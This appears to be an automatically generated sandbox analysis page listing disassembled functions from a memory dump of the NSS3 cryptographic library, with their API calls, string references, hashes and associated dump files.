Instruction Fuzzy Hash: 4C5212B1E082019BFF119F66DC497AA7BB8BF09308F144029ED09A6F51F730D954EBA1

Function 6CC9FE40 Relevance: 94.2, APIs: 49, Strings: 4, Instructions: 1416threadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFD09C,00000000), ref: 6CC9FFF6
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0037
PR_SetError.NSS3(FFFFD0A8,00000000), ref: 6CCA0060

Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,00000000,6CC061C4,?,6CC05639,00000000), ref: 6CC58991
Part of subcall function 6CC58970: TlsGetValue.KERNEL32(?,?,?,?,?,6CC05639,00000000), ref: 6CC589AD
Part of subcall function 6CC58970: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,6CC05639,00000000), ref: 6CC589C6
Part of subcall function 6CC58970: PR_WaitCondVar.NSS3 ref: 6CC589F7
Part of subcall function 6CC58970: PR_Unlock.NSS3(?,?,?,?,?,?,?,6CC05639,00000000), ref: 6CC58A0C

Part of subcall function 6CC7DE70: PR_SetError.NSS3(FFFFD06A,00000000), ref: 6CC7E072

memchr.VCRUNTIME140(?,00000001,?), ref: 6CCA0159
PR_SetError.NSS3(FFFFD09C,00000000), ref: 6CCA026C
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0283
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA029A
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CC9FE86

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

Part of subcall function 6CC77F90: PR_GetMonitorEntryCount.NSS3(?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FB2
Part of subcall function 6CC77F90: PR_EnterMonitor.NSS3(?,?,?,00000002,00000050,?,?,?,?,?,00000000), ref: 6CC77FD4
Part of subcall function 6CC77F90: PR_ExitMonitor.NSS3(?), ref: 6CC7801B

PR_GetCurrentThread.NSS3 ref: 6CC9FED8
PR_SetError.NSS3(?,00000000), ref: 6CC9FEE3
PR_GetCurrentThread.NSS3 ref: 6CC9FEEB
PR_SetError.NSS3(?,00000000), ref: 6CC9FF04
PR_SetError.NSS3(FFFFD098,00000000), ref: 6CCA02B2
PR_SetError.NSS3(FFFFD098,00000000), ref: 6CCA02C9
PR_SetError.NSS3(FFFFD09F,00000000), ref: 6CCA02E4
memset.VCRUNTIME140(?,00000000,00000100), ref: 6CCA030B
PR_SetError.NSS3(FFFFD09C,00000000), ref: 6CCA03D5
PR_SetError.NSS3(FFFFD002,00000000), ref: 6CCA042C
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0560
SECITEM_CompareItem_Util.NSS3(?,000005D2), ref: 6CCA05B2
PR_SetError.NSS3(FFFFD01C,00000000), ref: 6CCA05CB
PK11_GenerateRandom.NSS3(?,00000008), ref: 6CCA05EF

Part of subcall function 6CC53F50: TlsGetValue.KERNEL32(?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FA1
Part of subcall function 6CC53F50: EnterCriticalSection.KERNEL32(?,?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FBA
Part of subcall function 6CC53F50: PR_Unlock.NSS3(?,00000000,00000000,00000000,?,6CC3E80C,00000000,00000000,?,?,?,?,6CC48C5B,-00000001), ref: 6CC53FFE
Part of subcall function 6CC53F50: PR_SetError.NSS3 ref: 6CC5401A

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0710

Part of subcall function 6CC9D770: PK11_FreeSymKey.NSS3(00000000), ref: 6CC9D837

PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA075D
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0776
PR_SetError.NSS3(FFFFD09D,00000000), ref: 6CCA078F
PR_EnterMonitor.NSS3(?), ref: 6CCA0842
PR_ExitMonitor.NSS3(?), ref: 6CCA089E
PR_GetCurrentThread.NSS3 ref: 6CCA09A2
PR_SetError.NSS3(FFFFD048,00000000), ref: 6CCA09B7
PR_ExitMonitor.NSS3(?), ref: 6CCA09EB
PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CCA0A33
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0B22
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0B3B
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0D75
PR_EnterMonitor.NSS3(?), ref: 6CCA0D9B
PR_ExitMonitor.NSS3(?), ref: 6CCA0DE4
PR_GetCurrentThread.NSS3 ref: 6CCA0DF0
PR_SetError.NSS3(?,00000000), ref: 6CCA0DFB
PR_GetCurrentThread.NSS3 ref: 6CCA0E03
PR_GetCurrentThread.NSS3 ref: 6CCA0E32
PR_SetError.NSS3(?,00000000), ref: 6CCA0E3D
PR_GetCurrentThread.NSS3 ref: 6CCA0E45
SECITEM_ZfreeItem_Util.NSS3(00000652,00000000), ref: 6CCA0E90
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0ED0
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA0FA6
PR_GetCurrentThread.NSS3 ref: 6CCA0FB7
PR_GetCurrentThread.NSS3 ref: 6CCA0FEC
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CCA1017

Strings

CLIENT_EARLY_TRAFFIC_SECRET, xrefs: 6CCA0CEB
e traffic, xrefs: 6CCA0CF0
e exp master, xrefs: 6CCA0D59
EARLY_EXPORTER_SECRET, xrefs: 6CCA0D54

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$CurrentThread$Monitor$Enter$ExitValue$K11_$CriticalItem_SectionUnlockUtil$CompareCondContextCountDestroyEntryFreeGenerateRandomWaitZfreememchrmemset
String ID: CLIENT_EARLY_TRAFFIC_SECRET$EARLY_EXPORTER_SECRET$e exp master$e traffic
API String ID: 2884254252-2509643986
Opcode ID: 76295b0c4a94c79dfb12f7f80029141c34ca636d946bb98c7fdb2cc44fbf9b88
Instruction ID: 484329838067efcffd0255b2b6c1e6ca5257724d4b84b6ebad1020925b87d858
Opcode Fuzzy Hash: 76295b0c4a94c79dfb12f7f80029141c34ca636d946bb98c7fdb2cc44fbf9b88
Instruction Fuzzy Hash: E5B22371A00346AFE7108F65CC49BDB77A4AF4438CF044528F94A9BB52F732E95ACB91

Function 6CC3BFF0 Relevance: 75.9, APIs: 31, Strings: 12, Instructions: 624memorystringCOMMON

Download Yara Rule

APIs

PR_ExitMonitor.NSS3 ref: 6CC3C0C8

Part of subcall function 6CCC9440: LeaveCriticalSection.KERNEL32 ref: 6CCC95CD
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC9622
Part of subcall function 6CCC9440: _PR_MD_NOTIFYALL_CV.NSS3 ref: 6CCC964E

PR_EnterMonitor.NSS3 ref: 6CC3C0AE

Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC91AA
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9212
Part of subcall function 6CCC9090: _PR_MD_WAIT_CV.NSS3 ref: 6CCC926B

Part of subcall function 6CBF0600: GetLastError.KERNEL32(?,?,?,?,?,6CBF05E2), ref: 6CBF0642
Part of subcall function 6CBF0600: TlsGetValue.KERNEL32(?,?,?,?,?,6CBF05E2), ref: 6CBF065D
Part of subcall function 6CBF0600: GetLastError.KERNEL32 ref: 6CBF0678
Part of subcall function 6CBF0600: PR_snprintf.NSS3(?,00000014,error %d,00000000), ref: 6CBF068A
Part of subcall function 6CBF0600: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CBF0693
Part of subcall function 6CBF0600: PR_SetErrorText.NSS3(00000000,?), ref: 6CBF069D
Part of subcall function 6CBF0600: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,1D5304BB,?,?,?,?,?,6CBF05E2), ref: 6CBF06CA
Part of subcall function 6CBF0600: PR_SetError.NSS3(FFFFE8A9,00000000,?,?,?,?,?,6CBF05E2), ref: 6CBF06E6

PR_EnterMonitor.NSS3 ref: 6CC3C0F2
PR_ExitMonitor.NSS3 ref: 6CC3C10E
PR_ExitMonitor.NSS3 ref: 6CC3C081

Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC945B
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC9479
Part of subcall function 6CCC9440: EnterCriticalSection.KERNEL32 ref: 6CCC9495
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC94E4
Part of subcall function 6CCC9440: TlsGetValue.KERNEL32 ref: 6CCC9532
Part of subcall function 6CCC9440: LeaveCriticalSection.KERNEL32 ref: 6CCC955D

PR_EnterMonitor.NSS3 ref: 6CC3C068

Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90AB
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC90C9
Part of subcall function 6CCC9090: EnterCriticalSection.KERNEL32 ref: 6CCC90E5
Part of subcall function 6CCC9090: TlsGetValue.KERNEL32 ref: 6CCC9116
Part of subcall function 6CCC9090: LeaveCriticalSection.KERNEL32 ref: 6CCC913F

Part of subcall function 6CBF0600: GetProcAddress.KERNEL32(?,?), ref: 6CBF0623

_NSSUTIL_UTF8ToWide.NSS3(?), ref: 6CC3C14F
PR_LoadLibraryWithFlags.NSS3 ref: 6CC3C183
free.MOZGLUE(00000000), ref: 6CC3C18E
PR_LoadLibrary.NSS3(?), ref: 6CC3C1A3
PR_EnterMonitor.NSS3 ref: 6CC3C1D4
PR_ExitMonitor.NSS3 ref: 6CC3C1F3
PR_CallOnce.NSS3(6CD62318,6CC3CA70), ref: 6CC3C210
PR_EnterMonitor.NSS3 ref: 6CC3C22B
PR_ExitMonitor.NSS3 ref: 6CC3C247
PR_EnterMonitor.NSS3 ref: 6CC3C26A
PR_ExitMonitor.NSS3 ref: 6CC3C287
PR_UnloadLibrary.NSS3(?), ref: 6CC3C2D0
PR_GetEnvSecure.NSS3(NSS_DEBUG_PKCS11_MODULE), ref: 6CC3C392
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,00000000), ref: 6CC3C3AB
PR_NewLogModule.NSS3(nss_mod_log), ref: 6CC3C3D1
PR_GetEnvSecure.NSS3(NSS_FORCE_TOKEN_LOCK), ref: 6CC3C782
PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD), ref: 6CC3C7B5
PR_UnloadLibrary.NSS3(?), ref: 6CC3C7CC
PR_SetError.NSS3(FFFFE097,00000000), ref: 6CC3C82E
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC3C8BF
PORT_Alloc_Util.NSS3(?), ref: 6CC3C8D5
free.MOZGLUE(00000000), ref: 6CC3C900
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CC3C9C7
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC3C9E5
free.MOZGLUE(00000000), ref: 6CC3CA5A

Strings

nss_mod_log, xrefs: 6CC3C3CC
NSS_ReturnModuleSpecData, xrefs: 6CC3C275
NSS_DISABLE_UNLOAD, xrefs: 6CC3C7B0
PKCS 11, xrefs: 6CC3C2F9, 6CC3C314
NSC_GetFunctionList, xrefs: 6CC3C093
FC_GetInterface, xrefs: 6CC3C054
NSC_ModuleDBFunc, xrefs: 6CC3C0FC
NSS_FORCE_TOKEN_LOCK, xrefs: 6CC3C77D
NSS_DEBUG_PKCS11_MODULE, xrefs: 6CC3C38D
Vendor NSS FIPS Interface, xrefs: 6CC3C34A
FC_GetFunctionList, xrefs: 6CC3C098
NSC_GetInterface, xrefs: 6CC3C04F

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Monitor$Value$Enter$CriticalExitSection$Error$LeaveLibrary$Alloc_SecureUtilfree$ArenaLastLoadUnloadstrcmp$AddressCallFlagsModuleOnceProcR_snprintfTextWideWithmemcpystrlen
String ID: FC_GetFunctionList$FC_GetInterface$NSC_GetFunctionList$NSC_GetInterface$NSC_ModuleDBFunc$NSS_DEBUG_PKCS11_MODULE$NSS_DISABLE_UNLOAD$NSS_FORCE_TOKEN_LOCK$NSS_ReturnModuleSpecData$PKCS 11$Vendor NSS FIPS Interface$nss_mod_log
API String ID: 4243957313-3613044529
Opcode ID: 2d5f9c83dab1ad1eeb58d4e8b454f3c17f9500346e4121da0a0c2a78ab1559bb
Instruction ID: 239afbf1daad5ae8095a5356ddf83d7de19d26f8147615eebd7c932f5385e0af
Opcode Fuzzy Hash: 2d5f9c83dab1ad1eeb58d4e8b454f3c17f9500346e4121da0a0c2a78ab1559bb
Instruction Fuzzy Hash: 8642A4B1A042258FEF00DF56E88AB6B7BB8FB4634CF041119DA098BB21F735D555CBA1

Function 6CD13FC0 Relevance: 70.5, APIs: 37, Strings: 3, Instructions: 485stringprocessCOMMON

Download Yara Rule

APIs

malloc.MOZGLUE(00000008), ref: 6CD13FD5
strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD13FFE
malloc.MOZGLUE(-00000003), ref: 6CD14016
strpbrk.API-MS-WIN-CRT-STRING-L1-1-0(?,6CD4FC62), ref: 6CD1404A
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CD1407E
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CD140A4
memset.VCRUNTIME140(?,0000005C,00000000), ref: 6CD140D7
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD14112
malloc.MOZGLUE(00000000), ref: 6CD1411E
__p__environ.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0 ref: 6CD1414D
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD14160
free.MOZGLUE(?), ref: 6CD1416C
malloc.MOZGLUE(?), ref: 6CD141AB
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,NSPR_INHERIT_FDS=,00000011), ref: 6CD141EF
qsort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,00000004,6CD14520), ref: 6CD14244
GetEnvironmentStrings.KERNEL32 ref: 6CD1424D
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD14263
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD14283
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD142B7
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CD142E4
malloc.MOZGLUE(00000002), ref: 6CD142FA
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CD14342
GetStdHandle.KERNEL32(000000F6), ref: 6CD143AB
GetStdHandle.KERNEL32(000000F5), ref: 6CD143B2
GetStdHandle.KERNEL32(000000F4), ref: 6CD143B9
FreeEnvironmentStringsA.KERNEL32(?), ref: 6CD14403
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CD14410

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 6CD1445E
CloseHandle.KERNEL32(?), ref: 6CD1446B
free.MOZGLUE(?), ref: 6CD14482
free.MOZGLUE(00000000), ref: 6CD14492
free.MOZGLUE(00000000), ref: 6CD144A4
GetLastError.KERNEL32 ref: 6CD144B2
PR_SetError.NSS3(FFFFE896,00000000), ref: 6CD144BE
free.MOZGLUE(?), ref: 6CD144C7
free.MOZGLUE(00000000), ref: 6CD144D5
free.MOZGLUE(00000000), ref: 6CD144EA

Strings

NSPR_INHERIT_FDS=, xrefs: 6CD141E9
=, xrefs: 6CD144F8
D, xrefs: 6CD14396

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: free$Errormallocstrlen$Handle$EnvironmentStringsmemset$Free$CloseCreateLastProcessValue__p__environqsortstrncmpstrpbrk
String ID: =$D$NSPR_INHERIT_FDS=
API String ID: 3116300875-3553733109
Opcode ID: a5eee74318c0ad597207744aa6b6488ddf30638e8292928c1275693075b32928
Instruction ID: e37eff8023c1bd35c3cffec85bf7a4e7e5e646a6856dd99fea1bfd36a99f52c1
Opcode Fuzzy Hash: a5eee74318c0ad597207744aa6b6488ddf30638e8292928c1275693075b32928
Instruction Fuzzy Hash: 5C020570E08351CFFB108FA9E8847AEBBB8AF4A31CF244129D955A7F61D7709845CB91

Function 6CC26D90 Relevance: 60.3, APIs: 33, Strings: 1, Instructions: 809COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,6CD2A8EC,0000006C), ref: 6CC26DC6
memcpy.VCRUNTIME140(?,6CD2A958,0000006C), ref: 6CC26DDB
memcpy.VCRUNTIME140(?,6CD2A9C4,00000078), ref: 6CC26DF1
memcpy.VCRUNTIME140(?,6CD2AA3C,0000006C), ref: 6CC26E06
memcpy.VCRUNTIME140(?,6CD2AAA8,00000060), ref: 6CC26E1C
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC26E38

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

PK11_DoesMechanism.NSS3(?,?), ref: 6CC26E76
TlsGetValue.KERNEL32 ref: 6CC2726F
EnterCriticalSection.KERNEL32(?), ref: 6CC27283

Strings

!, xrefs: 6CC27123

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: memcpy$Value$CriticalDoesEnterErrorK11_MechanismSection
String ID: !
API String ID: 3333340300-2657877971
Opcode ID: 8c01a542705deacae27d83289c4a153fec9a4e312397a2404931066f29ef5ba5
Instruction ID: 48ec53c730e34dddbf3faabb2efb12b0ff75c3b32cc7f21a1349953b58e60a99
Opcode Fuzzy Hash: 8c01a542705deacae27d83289c4a153fec9a4e312397a2404931066f29ef5ba5
Instruction Fuzzy Hash: 9D728CB5D052199FDF20DF29CC88B9ABBB5BF49304F1041A9D80DA7701EB35AA85CF91

Function 6CCA6E50 Relevance: 48.1, APIs: 25, Strings: 2, Instructions: 857memoryCOMMON

Download Yara Rule

APIs

SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CCA6F7C

Part of subcall function 6CCA97A0: PORT_ZAlloc_Util.NSS3(00000040), ref: 6CCA9800

PR_SetError.NSS3(FFFFD009,00000000), ref: 6CCA7089
PR_SetError.NSS3(FFFFD009,00000000), ref: 6CCA70A0
NSS_SecureMemcmp.NSS3(?,?,00000008), ref: 6CCA7119
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCA71D2
PR_SetError.NSS3(FFFFD0B1,00000000), ref: 6CCA71F0
PR_SetError.NSS3(FFFFD0B1,00000000), ref: 6CCA7207
PR_SetError.NSS3(FFFFD09C,00000000), ref: 6CCA724B
PR_SetError.NSS3(FFFFD09C,00000000), ref: 6CCA7262

Part of subcall function 6CC8EDB0: PR_SetError.NSS3(FFFFE013,00000000,00000000,00000000,6CC77FFA,?,6CC79767,?,8B7874C0,0000A48E), ref: 6CC8EDD4

memset.VCRUNTIME140(?,00000000,?), ref: 6CCA72C0
PK11_HPKE_Open.NSS3(?,?,?,?), ref: 6CCA732E
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CCA734E
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CCA7360
PK11_HPKE_DestroyContext.NSS3(?,00000001), ref: 6CCA7373
PK11_HPKE_NewContext.NSS3(?,?,?,00000000,00000000), ref: 6CCA73C3
SECITEM_AllocItem_Util.NSS3(00000000,?,?), ref: 6CCA73E8
memcpy.VCRUNTIME140(?,?,?), ref: 6CCA742A
PK11_HPKE_SetupR.NSS3(?,?,?,?,?), ref: 6CCA7455

Part of subcall function 6CC30570: PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC3060C
Part of subcall function 6CC30570: PK11_HPKE_DestroyContext.NSS3(?,00000000), ref: 6CC3061A

Strings

P, xrefs: 6CCA79EF
ech, xrefs: 6CCA7401

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: Error$Util$Item_K11_$Zfree$Context$Destroy$AllocAlloc_MemcmpOpenSecureSetupmemcpymemset
String ID: ech$P
API String ID: 529607711-308817551
Opcode ID: d9cb9a95bb631abf6d59f07bc95abb874685f1423f035ab7a70fe45fbf5420ad
Instruction ID: 74fe60b4cbf2c10ccbb4a69f44afc31a0c2b83b3b509ad98edf419a84b99a4f4
Opcode Fuzzy Hash: d9cb9a95bb631abf6d59f07bc95abb874685f1423f035ab7a70fe45fbf5420ad
Instruction Fuzzy Hash: 3772A0B1908342AFD720CFA5DC44F9BB7E9BF84308F048929E94897645F731D556CBA2

Function 6CB93C40 Relevance: 41.2, APIs: 20, Strings: 3, Instructions: 932COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93C66
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(000000FD,?), ref: 6CB93D04
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93EAD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93ED7
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB93F74
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB94052
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CB9406F
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000001), ref: 6CB9410D
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00011A47,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CB9449C

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CB94452, 6CB94486, 6CB944EA, 6CB94571, 6CB94580, 6CB9458F, 6CB9475A, 6CB947FA
%s at line %d of [%.10s], xrefs: 6CB94495, 6CB944F9, 6CB9459E, 6CB94769, 6CB94809
database corruption, xrefs: 6CB94490, 6CB944F4, 6CB94599, 6CB94764, 6CB94804

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566034980.000000006CD5F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566114025.000000006CD60000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2566213868.000000006CD65000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cb80000_file.jbxd

Similarity

API ID: _byteswap_ulong$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2597148001-598938438
Opcode ID: 695238c034b8cc5756a6bb982a5c70b7464908255fa22c24d079721d1d54ebd6
Instruction ID: d9342c375f0846fbe2538729365df41e5250d73833bc6a13ffceea155cc33965
Opcode Fuzzy Hash: 695238c034b8cc5756a6bb982a5c70b7464908255fa22c24d079721d1d54ebd6
Instruction Fuzzy Hash: E382AF74A042559FDB04CF68C490B9E77B2FF4A318F2581A8D919ABB61E731EC42CF91

Function 6CC6AC30 Relevance: 39.5, APIs: 26, Instructions: 539memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CC6ACC4
PORT_ArenaAlloc_Util.NSS3(?,000040F4), ref: 6CC6ACD5
memset.VCRUNTIME140(00000000,00000000,000040F4), ref: 6CC6ACF3
SEC_ASN1EncodeInteger_Util.NSS3(?,00000018,00000003), ref: 6CC6AD3B
SECITEM_CopyItem_Util.NSS3(?,?,00000000), ref: 6CC6ADC8
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6ADDF
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6ADF0

Part of subcall function 6CCAC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CCAC2BF

SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CC6B06A
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6B08C
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC6B1BA
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6CC6B27C
memset.VCRUNTIME140(?,00000000,00002010), ref: 6CC6B2CA
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CC6B3C1
PR_SetError.NSS3(FFFFE013,00000000), ref: 6CC6B40C

Memory Dump Source

Source File: 00000000.00000002.2565459307.000000006CB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CB80000, based on PE: true

Associated: 00000000.00000002.2565405237.000000006CB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565829565.000000006CD1F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2565964556.000000006CD5E000.00000004.00000001.01000000.00000009.sdmpDownload File
